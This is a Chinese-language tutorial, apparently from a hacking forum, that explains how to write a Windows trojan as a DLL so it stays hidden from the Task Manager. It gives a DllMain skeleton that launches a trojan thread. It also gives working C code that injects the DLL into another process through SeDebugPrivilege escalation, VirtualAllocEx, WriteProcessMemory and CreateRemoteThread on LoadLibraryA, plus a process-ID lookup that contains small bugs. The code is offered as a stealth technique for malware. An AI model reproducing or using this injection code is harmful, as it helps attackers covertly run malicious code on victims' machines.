木馬運行關(guān)鍵是隱藏,神不知鬼不覺(jué)才是王道.要隱藏,先要隱藏進(jìn)程,Windows操作系統中程序以進(jìn)程的
方式運行,大多數操作系統也是如此.任務(wù)管理器就可以看到當前運行的進(jìn)程,所以有人HOOK相關(guān)枚舉進(jìn)程的函
數,讓任務(wù)管理器不顯示木馬進(jìn)程,也有人把自己的木馬注冊成服務(wù)運行,"任務(wù)管理器"不顯示服務(wù)的.這樣做只
是障眼法,進(jìn)程還是存在的,最好的方法是讓進(jìn)程不存在,讓木馬作為其他進(jìn)程的一個(gè)線(xiàn)程來(lái)運行.Windows操
作系統提出了DLL的概念,其系統API都是通過(guò)DLL的形式出現的,應用程序動(dòng)態(tài)鏈接到DLL來(lái)調用API,DLL在
內存中只存在一個(gè)副本就可以滿(mǎn)足不同應用程序的調用了,因此可以把木馬寫(xiě)成DLL文件,讓他作為進(jìn)程的一部
分運行,最好是系統進(jìn)程的一部分,一般人很難看到一個(gè)進(jìn)程加載了哪些DLL,也就很難發(fā)現這種木馬(用
IceSword可以看到進(jìn)程的DLL模塊).
一 編寫(xiě)一個(gè)DLL木馬:
使用IDE : Visual C++ 6.0 Visual Studio.NET 2003/2005都可以.
首先建立一個(gè)Win32 Dynamic-Link Library工程.選擇 A simple DLL project建立工程,然后就會(huì )看到:
BOOL APIENTRY DllMain( HANDLE hModule, // 模塊句柄.
DWORD ul_reason_for_call, // 調用標志.
LPVOID lpReserved // 返回數據.
)
{
return TRUE;
}
這個(gè)是DLL的入口點(diǎn)函數,只能做一些簡(jiǎn)單的初始化工作.這個(gè)函數和WinMain wWinMain _tWinMain main這四個(gè)標準的入口點(diǎn)函數是完全不同的,DllMain會(huì )被多次調用,上述四個(gè)入口點(diǎn)只被系統調用一次.順便說(shuō)一句dll文件結構和exe文件是完全一致的.
DWORD ul_reason_for_call, // 調用標志.
這個(gè)參數由系統傳遞,用于判斷調用DllMain函數時(shí)候的狀態(tài).可能是以下四個(gè)常量:
DLL_PROCESS_ATTACH: DLL被進(jìn)程第一次使用時(shí),就是進(jìn)程調用LoadLibrary函數時(shí)
DLL_THREAD_ATTACH:
DLL_THREAD_DETACH:
DLL_PROCESS_DETACH: DLL被釋放的時(shí)候
MSDN原文:
DLL_PROCESS_ATTACH
The DLL is being loaded into the virtual address space of the current process as a result of the process starting up or as a result of a call to LoadLibrary. DLLs can use this opportunity to initialize any instance data or to use the TlsAlloc function to allocate a thread local storage (TLS) index.
DLL_THREAD_ATTACH
The current process is creating a new thread. When this occurs, the system calls the entry-point function of all DLLs currently attached to the process. The call is made in the context of the new thread. DLLs can use this opportunity to initialize a TLS slot for the thread. A thread calling the DLL entry-point function with DLL_PROCESS_ATTACH does not call the DLL entry-point function with DLL_THREAD_ATTACH.
Note that a DLL's entry-point function is called with this value only by threads created after the DLL is loaded by the process. When a DLL is loaded using LoadLibrary, existing threads do not call the entry-point function of the newly loaded DLL.
DLL_THREAD_DETACH
A thread is exiting cleanly. If the DLL has stored a pointer to allocated memory in a TLS slot, it should use this opportunity to free the memory. The system calls the entry-point function of all currently loaded DLLs with this value. The call is made in the context of the exiting thread.
DLL_PROCESS_DETACH
The DLL is being unloaded from the virtual address space of the calling process as a result of unsuccessfully loading the DLL, termination of the process, or a call to FreeLibrary. The DLL can use this opportunity to call the TlsFree function to free any TLS indices allocated by using TlsAlloc and to free any thread local data.
Note that the thread that receives the DLL_PROCESS_DETACH notification is not necessarily the same thread that received the DLL_PROCESS_ATTACH notification.
判斷:當 ul_reason_for_call 等于 DLL_PROCESS_ATTACH 時(shí)就新開(kāi)一個(gè)線(xiàn)程啟動(dòng)木馬.記住一定要新開(kāi)一個(gè)線(xiàn)程,不能把DllMain當main函數用.
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 啟動(dòng)木馬線(xiàn)程.
CreateThread(NULL,0,MainThread,0,0,0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DWORD WINAPI MainThread(LPVOID lpParameter)
{
// 這里就是木馬的代碼了
... ...
}
二 DLL木馬的啟動(dòng):
遠程進(jìn)程插入啟動(dòng)木馬:將木馬DLL插入運行中的進(jìn)程空間中,讓其運行.
具體做法是先將系統權限提升到DEBUG模式下,因為只有DEBUG模式才能打開(kāi)進(jìn)程句柄.然后用OpenProcess函數遠程以 PROCESS_Create_THREAD , PROCESS_VM_OPERATION , PROCESS_VM_WRITE
的權限打開(kāi)要插入的進(jìn)程,得到進(jìn)程的句柄.用VirtualAllocEx函數給DLL文件的路徑分配內存空間.
用WriteProcessMemory函數將DLL文件內容寫(xiě)入進(jìn)程空間中.用CreateRemoteThread函數啟動(dòng)就完成
了進(jìn)程的遠程插入.
代碼如下:
////////////////////////////////////////////////////////////////////////
// 遠程插入線(xiàn)程
// char szDllFullPath[] DLL文件完整路徑.
// DWORD dwRemoteProcessID 要插入的進(jìn)程ID號
// 返回: TRUE 插入進(jìn)程成功
// FALSE 失敗
BOOL InjectDll(char szDllFullPath[],DWORD dwRemoteProcessID)
{
HANDLE hRemoteProcess;
if(EnableDebugPriv(SE_DEBUG_NAME) == 0)
{
return FALSE;
}
// 打開(kāi)遠程線(xiàn)程
if((hRemoteProcess = OpenProcess(PROCESS_Create_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessID))== NULL)
{
return FALSE;
}
char * pszLibFileRemote;
// 使用VirtualAllocEx函數在遠程進(jìn)程內存地址空間分配DLL文件名緩沖區
pszLibFileRemote = (char *)VirtualAllocEx( hRemoteProcess,NULL,lstrlen(szDllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);
if(pszLibFileRemote == NULL)
{
return FALSE;
}
if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)szDllFullPath,lstrlen(szDllFullPath)+1,NULL) == 0)
{
return FALSE;
}
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA");
if(pfnStartAddr == NULL)
{
return FALSE;
}
// 通過(guò)建立遠程連接的地址:pfnStartAddr
// 傳遞參數 pszLibFileRemote 遠程啟動(dòng)DLL
// 啟動(dòng)遠程線(xiàn)程 LoadLibraryA 通過(guò)遠程線(xiàn)程調用用戶(hù)的DLL文件
HANDLE hRemoteThread;
if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL)
{
return FALSE;
}
return TRUE;
}
這個(gè)函數也會(huì )用到的:
////////////////////////////////////////////////////////////////////////
// 獲取進(jìn)程ID號
// 如無(wú)此進(jìn)程則返回 0;
// char szProcName[] 進(jìn)程名: .exe文件.
DWORD GetProcID(char szProcName[])
{
HANDLE th = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pe = {sizeof(pe)};
DWORD dwProcID = 0;
BOOL bOK=Process32First(th,&pe);
while(bOK)
{
bOK = Process32Next(th,&pe);
LPCTSTR lpszExeFile = strrchr(pe.szExeFile,'//');
if(lpszExeFile == NULL)
lpszExeFile = pe.szExeFile;
else
lpszExeFile++;
if(strcmp(szProcName,lpszExeFile) == 0)
{
dwProcID = pe.th32ProcessID;
break;
}
}
return dwProcID;
}
////////////////////////////////////////////////////////////////////////
// 提升系統權限到DEBUG模式
int EnableDebugPriv(char szName[])
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
// 打開(kāi)進(jìn)程環(huán)令牌
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
return 0;
}
if(!LookupPrivilegeValue(NULL,szName,&luid))
{
return 0;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
// 調整權限
if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
return 0;
}
return 1;
}